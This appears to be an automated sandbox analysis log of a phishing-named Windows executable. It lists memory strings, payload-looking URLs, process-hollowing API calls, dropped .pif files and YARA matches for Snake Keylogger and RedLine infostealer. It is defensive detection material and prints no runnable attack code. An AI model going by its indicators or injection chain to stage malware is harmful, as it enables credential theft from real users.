Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1577410534.00000000007A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lwaziacademy.com/
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.0000000020A7D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://lwaziacademy.com/royal/2
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.0000000020A7D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://lwaziacademy.com/royal/233_Sdvvfamydeo
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1577410534.00000000007A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lwaziacademy.com/royal/233_SdvvfamydeoM6
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1577410534.00000000007CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lwaziacademy.com/royal/233_Sdvvfamydeo~
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1577410534.00000000007F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lwaziacademy.com:443/royal/233_Sdvvfamydeo
Source: alg.exe, 0000000C.00000003.1801065112.0000000001760000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800351712.00000000014A0000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1783458530.00000000014A0000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1785018186.0000000001700000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://parking3.parklogic.com/page/enhance.js?pcId=12&domain=przvgke.biz
Source: alg.exe, 0000000C.00000003.1801065112.0000000001760000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1785018186.0000000001700000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pcnatrk.net/track.
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: ymafvvdS.pif, 00000009.00000003.1780195449.000000002AE10000.00000004.00000020.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.1780016826.000000002A730000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown

HTTPS traffic detected: 41.185.8.252:443 -> 192.168.2.9:49707 version: TLS 1.2

Source: Yara match

File source: Process Memory Space: PURCHASE REQUIRED DETAILS 000487958790903403.exe PID: 7608, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 9.3.ymafvvdS.pif.24742da8.17.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.3.ymafvvdS.pif.24590000.925.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.1.ymafvvdS.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 9.3.ymafvvdS.pif.24742da8.17.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.1.ymafvvdS.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000009.00000003.1577655247.0000000024742000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: ymafvvdS.pif PID: 7996, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: PURCHASE REQUIRED DETAILS 000487958790903403.exe

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B28670 NtUnmapViewOfSection,	0_2_02B28670
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B28400 NtReadVirtualMemory,	0_2_02B28400
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B27A2C NtAllocateVirtualMemory,	0_2_02B27A2C
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B2DC8C RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_02B2DC8C
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B2DC04 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_02B2DC04
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B28D70 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	0_2_02B28D70
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B2DD70 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	0_2_02B2DD70
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B27D78 NtWriteVirtualMemory,	0_2_02B27D78
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B27A2A NtAllocateVirtualMemory,	0_2_02B27A2A
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B2DBB0 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_02B2DBB0
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B28D6E GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	0_2_02B28D6E
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A643A NtOpenThreadToken,NtOpenProcessToken,NtClose,	13_2_001A643A
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A4823 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	13_2_001A4823
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001B7460 EnterCriticalSection,LeaveCriticalSection,fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	13_2_001B7460
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A64CA NtQueryInformationToken,	13_2_001A64CA
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A6500 NtQueryInformationToken,NtQueryInformationToken,	13_2_001A6500
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001BA135 NtSetInformationFile,	13_2_001BA135
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001BC1FA SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memcpy,memcpy,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	13_2_001BC1FA
Source: C:\Users\Public\alpha.pif	Code function: 13_2_00194E3B _setjmp3,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,longjmp,	13_2_00194E3B
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A4759 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,DeleteFileW,GetLastError,	13_2_001A4759
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A643A NtOpenThreadToken,NtOpenProcessToken,NtClose,	22_2_001A643A
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A4823 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	22_2_001A4823
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001B7460 EnterCriticalSection,LeaveCriticalSection,fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	22_2_001B7460
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A64CA NtQueryInformationToken,	22_2_001A64CA
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A6500 NtQueryInformationToken,NtQueryInformationToken,	22_2_001A6500
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001BA135 NtSetInformationFile,	22_2_001BA135
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001BC1FA SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memcpy,memcpy,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	22_2_001BC1FA
Source: C:\Users\Public\alpha.pif	Code function: 22_2_00194E3B _setjmp3,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,longjmp,	22_2_00194E3B
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A4759 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,DeleteFileW,GetLastError,	22_2_001A4759

Source: C:\Users\Public\alpha.pif

Code function: 13_2_00194C10: memset,GetFileSecurityW,GetSecurityDescriptorOwner,??_V@YAXPAX@Z,memset,CreateFileW,DeviceIoControl,memcpy,CloseHandle,??_V@YAXPAX@Z,memset,??_V@YAXPAX@Z,FindClose,??_V@YAXPAX@Z,

13_2_00194C10

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Code function: 0_2_02B28788 CreateProcessAsUserW,

0_2_02B28788

Source: C:\Windows\System32\alg.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\3f155f6931e417df.bin
Source: C:\Users\Public\alpha.pif	File created: C:\Windows
Source: C:\Users\Public\alpha.pif	File created: C:\Windows \SysWOW64

Source: C:\Users\Public\alpha.pif

File deleted: C:\Windows \SysWOW64

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B120C4	0_2_02B120C4
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B3E596	0_2_02B3E596
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_004028B0	9_1_004028B0
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_00418244	9_1_00418244
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_004193C4	9_1_004193C4
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_00402B90	9_1_00402B90
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_004073A0	9_1_004073A0
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_00408C60	9_1_00408C60
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_0040DC11	9_1_0040DC11
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_00407C3F	9_1_00407C3F
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_00418CCC	9_1_00418CCC
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_00406CA0	9_1_00406CA0
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_0041A4BE	9_1_0041A4BE
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_00438DF6	9_1_00438DF6
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_00401650	9_1_00401650
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_00402F20	9_1_00402F20
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_00418788	9_1_00418788
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_00402F89	9_1_00402F89
Source: C:\Windows\System32\alg.exe	Code function: 12_2_004A7C00	12_2_004A7C00
Source: C:\Windows\System32\alg.exe	Code function: 12_2_004CA810	12_2_004CA810
Source: C:\Windows\System32\alg.exe	Code function: 12_2_004D2D40	12_2_004D2D40
Source: C:\Windows\System32\alg.exe	Code function: 12_2_004A79F0	12_2_004A79F0
Source: C:\Windows\System32\alg.exe	Code function: 12_2_004C92A0	12_2_004C92A0
Source: C:\Windows\System32\alg.exe	Code function: 12_2_004CEEB0	12_2_004CEEB0
Source: C:\Windows\System32\alg.exe	Code function: 12_2_004C93B0	12_2_004C93B0
Source: C:\Users\Public\alpha.pif	Code function: 13_2_00194C10	13_2_00194C10
Source: C:\Users\Public\alpha.pif	Code function: 13_2_0019540A	13_2_0019540A
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A4875	13_2_001A4875
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001974B1	13_2_001974B1
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001B695A	13_2_001B695A
Source: C:\Users\Public\alpha.pif	Code function: 13_2_00199144	13_2_00199144
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001B4191	13_2_001B4191
Source: C:\Users\Public\alpha.pif	Code function: 13_2_0019EE03	13_2_0019EE03
Source: C:\Users\Public\alpha.pif	Code function: 13_2_00197A34	13_2_00197A34
Source: C:\Users\Public\alpha.pif	Code function: 13_2_00196E57	13_2_00196E57
Source: C:\Users\Public\alpha.pif	Code function: 13_2_0019D660	13_2_0019D660
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001B3E66	13_2_001B3E66
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001B769E	13_2_001B769E
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A5A86	13_2_001A5A86
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A3EB3	13_2_001A3EB3
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A4EC1	13_2_001A4EC1
Source: C:\Users\Public\alpha.pif	Code function: 13_2_00196B20	13_2_00196B20
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A0740	13_2_001A0740
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A0BF0	13_2_001A0BF0
Source: C:\Windows\System32\AppVClient.exe	Code function: 17_2_00BAA810	17_2_00BAA810
Source: C:\Windows\System32\AppVClient.exe	Code function: 17_2_00B87C00	17_2_00B87C00
Source: C:\Windows\System32\AppVClient.exe	Code function: 17_2_00B879F0	17_2_00B879F0
Source: C:\Windows\System32\AppVClient.exe	Code function: 17_2_00BB2D40	17_2_00BB2D40
Source: C:\Windows\System32\AppVClient.exe	Code function: 17_2_00BAEEB0	17_2_00BAEEB0
Source: C:\Windows\System32\AppVClient.exe	Code function: 17_2_00BA92A0	17_2_00BA92A0
Source: C:\Windows\System32\AppVClient.exe	Code function: 17_2_00BA93B0	17_2_00BA93B0
Source: C:\Users\Public\alpha.pif	Code function: 22_2_00194C10	22_2_00194C10
Source: C:\Users\Public\alpha.pif	Code function: 22_2_0019540A	22_2_0019540A
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A4875	22_2_001A4875
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001974B1	22_2_001974B1
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001B695A	22_2_001B695A
Source: C:\Users\Public\alpha.pif	Code function: 22_2_00199144	22_2_00199144
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001B4191	22_2_001B4191
Source: C:\Users\Public\alpha.pif	Code function: 22_2_0019EE03	22_2_0019EE03
Source: C:\Users\Public\alpha.pif	Code function: 22_2_00197A34	22_2_00197A34
Source: C:\Users\Public\alpha.pif	Code function: 22_2_00196E57	22_2_00196E57
Source: C:\Users\Public\alpha.pif	Code function: 22_2_0019D660	22_2_0019D660
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001B3E66	22_2_001B3E66
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001B769E	22_2_001B769E
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A5A86	22_2_001A5A86
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A3EB3	22_2_001A3EB3
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A4EC1	22_2_001A4EC1
Source: C:\Users\Public\alpha.pif	Code function: 22_2_00196B20	22_2_00196B20
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A0740	22_2_001A0740
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A0BF0	22_2_001A0BF0
Source: C:\Users\Public\xpha.pif	Code function: 23_2_00771E26	23_2_00771E26
Source: C:\Windows\System32\FXSSVC.exe	Code function: 24_2_0051A810	24_2_0051A810
Source: C:\Windows\System32\FXSSVC.exe	Code function: 24_2_004F7C00	24_2_004F7C00
Source: C:\Windows\System32\FXSSVC.exe	Code function: 24_2_00522D40	24_2_00522D40
Source: C:\Windows\System32\FXSSVC.exe	Code function: 24_2_004F79F0	24_2_004F79F0
Source: C:\Windows\System32\FXSSVC.exe	Code function: 24_2_0051EEB0	24_2_0051EEB0
Source: C:\Windows\System32\FXSSVC.exe	Code function: 24_2_005192A0	24_2_005192A0
Source: C:\Windows\System32\FXSSVC.exe	Code function: 24_2_005193B0	24_2_005193B0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 25_2_00897C00	25_2_00897C00
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 25_2_008BA810	25_2_008BA810
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 25_2_008979F0	25_2_008979F0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 25_2_008C2D40	25_2_008C2D40
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 25_2_008B92A0	25_2_008B92A0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 25_2_008BEEB0	25_2_008BEEB0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 25_2_008B93B0	25_2_008B93B0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 26_2_00D4A810	26_2_00D4A810
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 26_2_00D27C00	26_2_00D27C00
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 26_2_00D279F0	26_2_00D279F0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 26_2_00D52D40	26_2_00D52D40
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 26_2_00D4EEB0	26_2_00D4EEB0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 26_2_00D492A0	26_2_00D492A0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 26_2_00D493B0	26_2_00D493B0
Source: C:\Windows\System32\msdtc.exe	Code function: 27_2_00CD7C00	27_2_00CD7C00
Source: C:\Windows\System32\msdtc.exe	Code function: 27_2_00CFA810	27_2_00CFA810
Source: C:\Windows\System32\msdtc.exe	Code function: 27_2_00CD79F0	27_2_00CD79F0
Source: C:\Windows\System32\msdtc.exe	Code function: 27_2_00D02D40	27_2_00D02D40
Source: C:\Windows\System32\msdtc.exe	Code function: 27_2_00CF92A0	27_2_00CF92A0
Source: C:\Windows\System32\msdtc.exe	Code function: 27_2_00CFEEB0	27_2_00CFEEB0
Source: C:\Windows\System32\msdtc.exe	Code function: 27_2_00CF93B0	27_2_00CF93B0
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 28_2_0077A810	28_2_0077A810
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 28_2_00757C00	28_2_00757C00
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 28_2_00782D40	28_2_00782D40
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 28_2_007579F0	28_2_007579F0
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 28_2_0077EEB0	28_2_0077EEB0
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 28_2_007792A0	28_2_007792A0
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 28_2_007793B0	28_2_007793B0
Source: C:\Windows\System32\Locator.exe	Code function: 30_2_0056A810	30_2_0056A810
Source: C:\Windows\System32\Locator.exe	Code function: 30_2_00547C00	30_2_00547C00
Source: C:\Windows\System32\Locator.exe	Code function: 30_2_00572D40	30_2_00572D40
Source: C:\Windows\System32\Locator.exe	Code function: 30_2_005479F0	30_2_005479F0
Source: C:\Windows\System32\Locator.exe	Code function: 30_2_0056EEB0	30_2_0056EEB0
Source: C:\Windows\System32\Locator.exe	Code function: 30_2_005692A0	30_2_005692A0
Source: C:\Windows\System32\Locator.exe	Code function: 30_2_005693B0	30_2_005693B0
Source: C:\Windows\System32\SensorDataService.exe	Code function: 31_2_0075A810	31_2_0075A810
Source: C:\Windows\System32\SensorDataService.exe	Code function: 31_2_00737C00	31_2_00737C00
Source: C:\Windows\System32\SensorDataService.exe	Code function: 31_2_00762D40	31_2_00762D40
Source: C:\Windows\System32\SensorDataService.exe	Code function: 31_2_007379F0	31_2_007379F0
Source: C:\Windows\System32\SensorDataService.exe	Code function: 31_2_0075EEB0	31_2_0075EEB0
Source: C:\Windows\System32\SensorDataService.exe	Code function: 31_2_007592A0	31_2_007592A0
Source: C:\Windows\System32\SensorDataService.exe	Code function: 31_2_007593B0	31_2_007593B0

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Load Driver

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Security

Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: String function: 0040E1D8 appears 43 times
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: String function: 02B146D4 appears 244 times
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: String function: 02B289D0 appears 45 times
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: String function: 02B2894C appears 56 times
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: String function: 02B144DC appears 74 times
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: String function: 02B14500 appears 33 times
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: String function: 02B14860 appears 949 times

Source: chrmstp.exe.9.dr	Static PE information: Resource name: RT_STRING type: DOS executable (COM, 0x8C-variant)
Source: chrmstp.exe.9.dr	Static PE information: Resource name: RT_STRING type: PDP-11 pure executable not stripped
Source: setup.exe.9.dr	Static PE information: Resource name: RT_STRING type: DOS executable (COM, 0x8C-variant)
Source: setup.exe.9.dr	Static PE information: Resource name: RT_STRING type: PDP-11 pure executable not stripped
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.9.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.3
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.9.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.3
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.9.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.3
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.9.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.3

Source: chrome_pwa_launcher.exe.9.dr	Static PE information: Number of sections : 13 > 10
Source: chrome_proxy.exe.9.dr	Static PE information: Number of sections : 12 > 10
Source: setup.exe0.9.dr	Static PE information: Number of sections : 13 > 10
Source: setup.exe.9.dr	Static PE information: Number of sections : 14 > 10
Source: identity_helper.exe.9.dr	Static PE information: Number of sections : 12 > 10
Source: msedgewebview2.exe.9.dr	Static PE information: Number of sections : 14 > 10
Source: elevation_service.exe0.9.dr	Static PE information: Number of sections : 12 > 10
Source: notification_helper.exe.9.dr	Static PE information: Number of sections : 13 > 10
Source: chrmstp.exe.9.dr	Static PE information: Number of sections : 14 > 10
Source: firefox.exe.9.dr	Static PE information: Number of sections : 11 > 10
Source: ie_to_edge_stub.exe.9.dr	Static PE information: Number of sections : 11 > 10
Source: elevation_service.exe.9.dr	Static PE information: Number of sections : 12 > 10

Source: unknown

Driver loaded: C:\Windows\System32\drivers\AppVStrm.sys

Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 9.3.ymafvvdS.pif.24742da8.17.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.3.ymafvvdS.pif.24590000.925.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.1.ymafvvdS.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 9.3.ymafvvdS.pif.24742da8.17.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.1.ymafvvdS.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000009.00000003.1577655247.0000000024742000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: ymafvvdS.pif PID: 7996, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

